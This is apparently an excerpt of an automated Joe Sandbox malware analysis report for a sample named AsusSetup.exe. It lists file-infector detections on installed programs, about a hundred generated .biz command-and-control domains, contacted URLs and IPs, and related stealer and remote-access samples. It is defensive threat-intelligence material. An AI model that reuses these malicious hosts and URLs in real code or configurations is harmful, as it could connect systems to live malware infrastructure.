C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious	Reputation
uaafd.biz	3.254.94.185	true	false	unknown
xnxvnn.biz	13.251.16.150	true	false	unknown
nlscndwp.biz	54.244.188.177	true	false	unknown
vjaxhpbji.biz	82.112.184.197	true	false	unknown
ytctnunms.biz	3.94.10.34	true	false	unknown
qncdaagct.biz	47.129.31.212	true	false	unknown
ctdtgwag.biz	3.94.10.34	true	false	unknown
tbjrpv.biz	34.246.200.160	true	false	unknown
kcyvxytog.biz	18.208.156.248	true	true	unknown
ereplfx.biz	18.246.231.120	true	true	unknown
apzzls.biz	34.211.97.45	true	false	unknown
sxmiywsfv.biz	13.251.16.150	true	false	unknown
pgfsvwx.biz	18.208.156.248	true	true	unknown
przvgke.biz	172.234.222.138	true	false	unknown
ocsvqjg.biz	3.254.94.185	true	false	unknown
ecxbwt.biz	54.244.188.177	true	false	unknown
bghjpy.biz	34.211.97.45	true	false	unknown
damcprvgv.biz	18.208.156.248	true	true	unknown
gnqgo.biz	18.208.156.248	true	true	unknown
tltxn.biz	18.208.156.248	true	true	unknown
deoci.biz	18.208.156.248	true	true	unknown
krnsmlmvd.biz	47.129.31.212	true	false	unknown
uevrpr.biz	18.246.231.120	true	true	unknown
hagujcj.biz	18.208.156.248	true	true	unknown
bumxkqgxu.biz	44.221.84.105	true	true	unknown
yhqqc.biz	34.211.97.45	true	false	unknown
ltpqsnu.biz	18.208.156.248	true	true	unknown
sctmku.biz	35.164.78.200	true	false	unknown
gcedd.biz	13.251.16.150	true	false	unknown
wxgzshna.biz	72.52.178.23	true	false	unknown
oshhkdluh.biz	54.244.188.177	true	false	unknown
opowhhece.biz	18.208.156.248	true	true	unknown
pectx.biz	18.246.231.120	true	true	unknown
jwkoeoqns.biz	18.208.156.248	true	true	unknown
jpskm.biz	34.211.97.45	true	false	unknown
cjvgcl.biz	18.208.156.248	true	true	unknown
ifsaia.biz	13.251.16.150	true	false	unknown
rynmcq.biz	54.244.188.177	true	false	unknown
fjumtfnz.biz	34.211.97.45	true	false	unknown
dyjdrp.biz	54.244.188.177	true	false	unknown
ypituyqsq.biz	3.94.10.34	true	false	unknown
tnevuluw.biz	35.164.78.200	true	false	unknown
znwbniskf.biz	47.129.31.212	true	false	unknown
ijnmvqa.biz	35.164.78.200	true	false	unknown
saytjshyf.biz	44.221.84.105	true	true	unknown
rrqafepng.biz	47.129.31.212	true	false	unknown
aatcwo.biz	47.129.31.212	true	false	unknown
uphca.biz	44.221.84.105	true	true	unknown
htwqzczce.biz	172.234.222.138	true	false	unknown
xyrgy.biz	18.208.156.248	true	true	unknown
banwyw.biz	44.221.84.105	true	true	unknown
myups.biz	165.160.15.20	true	false	unknown
pwlqfu.biz	34.246.200.160	true	false	unknown
zyiexezl.biz	18.208.156.248	true	true	unknown
hlzfuyy.biz	34.211.97.45	true	false	unknown
ssbzmoy.biz	18.141.10.107	true	false	unknown
knjghuig.biz	18.141.10.107	true	false	unknown
yunalwv.biz	208.100.26.245	true	false	unknown
brsua.biz	3.254.94.185	true	false	unknown
mgmsclkyu.biz	34.246.200.160	true	false	unknown
cpclnad.biz	44.221.84.105	true	true	unknown
ptrim.biz	18.141.10.107	true	false	unknown
ihcnogskt.biz	35.164.78.200	true	false	unknown
qpnczch.biz	18.246.231.120	true	true	unknown
mnjmhp.biz	47.129.31.212	true	false	unknown
acwjcqqv.biz	18.141.10.107	true	false	unknown
zrlssa.biz	44.221.84.105	true	true	unknown
pywolwnvd.biz	54.244.188.177	true	false	unknown
mjheo.biz	44.221.84.105	true	true	unknown
lrxdmhrr.biz	54.244.188.177	true	false	unknown
vrrazpdh.biz	34.211.97.45	true	false	unknown
cikivjto.biz	18.246.231.120	true	true	unknown
fgajqjyhr.biz	34.211.97.45	true	false	unknown
hehckyov.biz	44.221.84.105	true	true	unknown
kkqypycm.biz	18.141.10.107	true	false	unknown
bzkysubds.biz	3.94.10.34	true	false	unknown
xlfhhhm.biz	47.129.31.212	true	false	unknown
warkcdu.biz	18.141.10.107	true	false	unknown
npukfztj.biz	44.221.84.105	true	true	unknown
dwrqljrr.biz	54.244.188.177	true	false	unknown
gytujflc.biz	208.100.26.245	true	false	unknown
gvijgjwkh.biz	3.94.10.34	true	false	unknown
sewlqwcd.biz	44.221.84.105	true	true	unknown
vnvbt.biz	18.246.231.120	true	true	unknown
nwdnxrd.biz	54.244.188.177	true	false	unknown
qvuhsaqa.biz	54.244.188.177	true	false	unknown
iuzpxe.biz	13.251.16.150	true	false	unknown
nqwjmb.biz	35.164.78.200	true	false	unknown
wllvnzb.biz	18.141.10.107	true	false	unknown
kvbjaur.biz	54.244.188.177	true	false	unknown
napws.biz	35.164.78.200	true	false	unknown
cvgrf.biz	54.244.188.177	true	false	unknown
lpuegx.biz	82.112.184.197	true	false	unknown
vcddkls.biz	18.141.10.107	true	false	unknown
wluwplyh.biz	18.141.10.107	true	false	unknown
vyome.biz	18.246.231.120	true	true	unknown
dlynankz.biz	85.214.228.140	true	false	unknown
reczwga.biz	44.221.84.105	true	true	unknown
xccjj.biz	18.246.231.120	true	true	unknown
jifai.biz	44.221.84.105	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://sewlqwcd.biz/ml	true	unknown
http://ssbzmoy.biz/w	false	unknown
http://xlfhhhm.biz/len	false	unknown
http://brsua.biz/m	false	unknown
http://nwdnxrd.biz/exbxilbdfwja	false	unknown
http://krnsmlmvd.biz/icdmsrmds	false	unknown
http://yunalwv.biz/arqypullvoovtl	false	unknown
http://tbjrpv.biz/qearwetpmwvhvwhi	false	unknown
http://ltpqsnu.biz/qscftkkkcjjor	true	unknown
http://mgmsclkyu.biz/isekcf	false	unknown
http://rrqafepng.biz/taltetnl	false	unknown
http://lpuegx.biz/ctmnxqregqafw	false	unknown
http://ctdtgwag.biz/s	false	unknown
http://nqwjmb.biz/oekfiuj	false	unknown
http://myups.biz/inljiti	false	unknown
http://ihcnogskt.biz/wawfta	false	unknown
http://tnevuluw.biz/yasnhmosjfaqm	false	unknown
http://pywolwnvd.biz/rtjiyksbemvook	false	unknown
http://myups.biz/afgoll	false	unknown
http://cvgrf.biz/oiol	false	unknown
http://ocsvqjg.biz/jw	false	unknown
http://ypituyqsq.biz/grbkwbsae	false	unknown
http://gjogvvpsf.biz/cftycvbqsjsfc	false	unknown
http://ereplfx.biz/htae	true	unknown
http://qncdaagct.biz/iljbyhyeqa	false	unknown
http://dwrqljrr.biz/swl	false	unknown
http://cikivjto.biz/ngujcsu	true	unknown
http://ijnmvqa.biz/vlwdbxkbnakykkgr	false	unknown
http://vjaxhpbji.biz/bdrtsxy	false	unknown
http://ftxlah.biz/xmqlmgb	false	unknown
http://yunalwv.biz/dovasmbpdb	false	unknown
http://jpskm.biz/qtybvvfgdyqy	false	unknown
http://pgfsvwx.biz/vtxunog	true	unknown
http://sxmiywsfv.biz/ohp	false	unknown
http://fwiwk.biz/ckdrshko	false	unknown
http://damcprvgv.biz/dnmujj	true	unknown
http://jdhhbs.biz/assjekuls	false	unknown
http://cjvgcl.biz/cbrxaago	true	unknown
http://esuzf.biz/rwiegx	false	unknown
http://mnjmhp.biz/pcwhdleqsuu	false	unknown
http://dyjdrp.biz/mxtehtsjbw	false	unknown
http://qcrsp.biz/wbxnuro	false	unknown
http://lpuegx.biz/dnirvyhujqwqnc	false	unknown
http://uevrpr.biz/x	true	unknown
http://xnxvnn.biz/skriadsmnm	false	unknown
http://xccjj.biz/aixrt	true	unknown
http://zrlssa.biz/mcduyucxmuwka	true	unknown
http://ecxbwt.biz/asvi	false	unknown
http://banwyw.biz/ydbxvrfdujat	true	unknown
http://przvgke.biz/agsaomftijm	false	unknown
http://rffxu.biz/luseoc	false	unknown
http://napws.biz/mcjaqbne	false	unknown
http://qpnczch.biz/oomorpsdyukh	true	unknown
http://nlscndwp.biz/n	false	unknown
http://qaynky.biz/vvo	false	unknown
http://cvgrf.biz/nxfilvvdujkp	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://18.141.10.107/ngs	alg.exe, 00000003.00000003.2882783390.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2893019936.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://13.251.16.150:80/ubaevhdsrbjcmaqls	alg.exe, 00000003.00000003.2628578361.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2637723512.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://44.221.84.105/wurutvkart	alg.exe, 00000003.00000003.2224451831.000000000059B000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2216657614.000000000059A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://13.251.16.150:80/vvo	alg.exe, 00000003.00000003.2725026412.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2734599445.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.246.231.120/	alg.exe, 00000003.00000003.2893019936.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://crashpad.chromium.org/https://crashpad.chromium.org/bug/new	setup.exe1.3.dr	false	unknown
http://208.100.26.245/pubppqcmfqvtod	alg.exe, 00000003.00000003.2703850793.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2724178578.00000000005EF000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.208.156.248:80/p	alg.exe, 00000003.00000003.2693383096.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.141.10.107/ewf	alg.exe, 00000003.00000003.2882783390.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://44.221.84.105/	AsusSetup.exe, 00000000.00000003.2202574488.0000000000508000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2734599445.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745895344.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2755453879.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2864295525.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://82.112.184.197/tkrvouqomflftlqp	alg.exe, 00000003.00000003.2590844447.0000000000577000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://crashpad.chromium.org/	setup.exe1.3.dr	false	unknown
http://54.244.188.177/swl	alg.exe, 00000003.00000003.2745895344.0000000000596000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881118.0.1	alg.exe, 00000003.00000003.2757457724.0000000000400000.00000004.00001000.00020000.00000000.sdmp	false	unknown
http://172.234.222.138:80/ckdrshko	alg.exe, 00000003.00000003.2671636939.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.246.231.120/vdqmhlkrsphqhe	alg.exe, 00000003.00000003.2894777095.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2893019936.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://47.129.31.212/len	alg.exe, 00000003.00000003.2610742112.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.141.10.107:80/ewf	alg.exe, 00000003.00000003.2882783390.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://34.246.200.160:80/qearwetpmwvhvwhi	alg.exe, 00000003.00000003.2683846196.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.141.10.107:80/suoyjqbsciv-	alg.exe, 00000003.00000003.2247222362.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://13.251.16.150/ubadvhdsrbjcmaql	alg.exe, 00000003.00000003.2628578361.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://54.244.188.177/juldvutdr	alg.exe, 00000003.00000003.2179509377.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2179863337.0000000000599000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2179107038.000000000059C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://44.221.84.105/vicdeigings	AsusSetup.exe, 00000000.00000003.2203124475.0000000004D8D000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2476390228.0000000004D8E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://44.221.84.105:80/tj7fZ	alg.exe, 00000003.00000003.2864295525.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://82.112.184.197/	alg.exe, 00000003.00000003.2610742112.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2590844447.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2628578361.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.208.156.248/lre	alg.exe, 00000003.00000003.2850603674.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://crashpad.chromium.org/bug/new	setup.exe1.3.dr	false	unknown
http://208.100.26.245/pubppqcmfqvto	alg.exe, 00000003.00000003.2764371379.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745295044.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2756590445.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2765126800.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2733658174.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2778124270.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2792457959.00000000005F3000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2789296981.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2790012087.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://44.221.84.105/bs	alg.exe, 00000003.00000003.2864295525.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://208.100.26.245:80/hrtvnxyfpkjy5	alg.exe, 00000003.00000003.2704536498.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://44.221.84.105/ngs	AsusSetup.exe, 00000000.00000003.2202574488.0000000000518000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.0000000000518000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.208.156.248/gs	alg.exe, 00000003.00000003.2903488909.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.141.10.107/ewfngsi	alg.exe, 00000003.00000003.2882783390.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.208.156.248:80/yqjotihouwfthlkr	alg.exe, 00000003.00000003.2903488909.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://172.234.222.138/sd	alg.exe, 00000003.00000003.2671636939.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.208.156.248/tlre	alg.exe, 00000003.00000003.2850603674.000000000057D000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2850603674.0000000000596000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://208.100.26.245/(	alg.exe, 00000003.00000003.2704536498.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://54.244.188.177/	alg.exe, 00000003.00000003.2179509377.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://54.244.188.177:80/swls	alg.exe, 00000003.00000003.2755453879.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745895344.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://44.221.84.105/vicdeig	AsusSetup.exe, 00000000.00000003.2203124475.0000000004D8D000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000003.2202574488.00000000004ED000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2476390228.0000000004D8E000.00000004.00000020.00020000.00000000.sdmp, AsusSetup.exe, 00000000.00000002.2472059916.00000000004F2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://54.244.188.177/ea	AsusSetup.exe, 00000000.00000003.2170515807.000000000052B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://208.100.26.245/hrtvnxyfpkjys	alg.exe, 00000003.00000003.2764371379.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2745295044.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2703850793.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2756590445.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2765126800.00000000005F1000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2733658174.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2778124270.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2789296981.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2724178578.00000000005EF000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 00000003.00000003.2790012087.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://34.246.200.160/gs	alg.exe, 00000003.00000003.2683846196.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://18.141.10.107/bs	alg.exe, 00000003.00000003.2655317919.000000000057D000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
165.160.15.20	myups.biz	United States	19574	CSCUS	false
3.254.94.185	uaafd.biz	United States	16509	AMAZON-02US	false
3.94.10.34	ytctnunms.biz	United States	14618	AMAZON-AESUS	false
34.246.200.160	tbjrpv.biz	United States	16509	AMAZON-02US	false
172.234.222.143	unknown	United States	20940	AKAMAI-ASN1EU	false
18.208.156.248	kcyvxytog.biz	United States	14618	AMAZON-AESUS	true
34.211.97.45	apzzls.biz	United States	16509	AMAZON-02US	false
208.100.26.245	yunalwv.biz	United States	32748	STEADFASTUS	false
35.164.78.200	sctmku.biz	United States	16509	AMAZON-02US	false
172.234.222.138	przvgke.biz	United States	20940	AKAMAI-ASN1EU	false
72.52.178.23	wxgzshna.biz	United States	32244	LIQUIDWEBUS	false
44.221.84.105	bumxkqgxu.biz	United States	14618	AMAZON-AESUS	true
85.214.228.140	dlynankz.biz	Germany	6724	STRATOSTRATOAGDE	false
54.244.188.177	nlscndwp.biz	United States	16509	AMAZON-02US	false
13.251.16.150	xnxvnn.biz	United States	16509	AMAZON-02US	false
47.129.31.212	qncdaagct.biz	Canada	34533	ESAMARA-ASRU	false
18.246.231.120	ereplfx.biz	United States	16509	AMAZON-02US	true
82.112.184.197	vjaxhpbji.biz	Russian Federation	43267	FIRST_LINE-SP_FOR_B2B_CUSTOMERSUPSTREAMSRU	false
18.141.10.107	ssbzmoy.biz	United States	16509	AMAZON-02US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543957
Start date and time:	2024-10-28 16:48:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	3
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AsusSetup.exe
Detection:	MAL
Classification:	mal100.spre.troj.expl.evad.winEXE@7/130@156/19
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, DiagnosticsHub.StandardCollector.Service.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
VT rate limit hit for: AsusSetup.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
165.160.15.20	RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	myups.biz/ewwexq
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	myups.biz/dspvlbvnqr
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	myups.biz/dkwdmdeuhpg
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	myups.biz/eqcq
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	myups.biz/lihflvfpneg
	RFQ_PO_KMM7983972_ORDER_DETAILS.js	Get hash	malicious	AgentTesla, RedLine	Browse	myups.biz/iyyrahcc
	KY9D34Qh8d.exe	Get hash	malicious	Unknown	Browse	dxglobal.co.kr/
	XZw2GNATrR.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.triciaaprimrosevp.com/xchu/?l8=4hfd&2dvlmF=FfQWrZf65Vop6YG1TmouR8u1gr6XUpPNH67i+hNxH0jghlNI2qurbIC5tjwZKbPxMdLE
	ZparFzqF3A.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.triciaaprimrosevp.com/xchu/?UDHLeHNP=FfQWrZf65Vop6YG1TmouR8u1gr6XUpPNH67i+hNxH0jghlNI2qurbIC5tjwZKbPxMdLE&Kzr=5jUtFh
3.254.94.185	SetupRST.exe	Get hash	malicious	Unknown	Browse	ocsvqjg.biz/xrujxccjxeybqwu
	PO-DGA77_MATERIALS_SPECIFICATIONS.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	brsua.biz/rmsexfnebpnpl
	PO-NBQ73652_ORDER_T637MOO746_MATERIALS_SIZES-PDF.scr.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	ocsvqjg.biz/plbdbgmplm
	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	uaafd.biz/inbwfclciwgycy
	tyRPPK48Mk.exe	Get hash	malicious	Remcos	Browse	uaafd.biz/flkouthsl
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook	Browse	ocsvqjg.biz/whfwpsna
	TENDER Qatar Imports CorporationsLTCASTK654824.B26_PDF_.exe	Get hash	malicious	FormBook, LummaC Stealer	Browse	ocsvqjg.biz/aerkmi

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
nlscndwp.biz	nL0Vxav3OB.exe	Get hash	malicious	Remcos	Browse	54.244.188.177
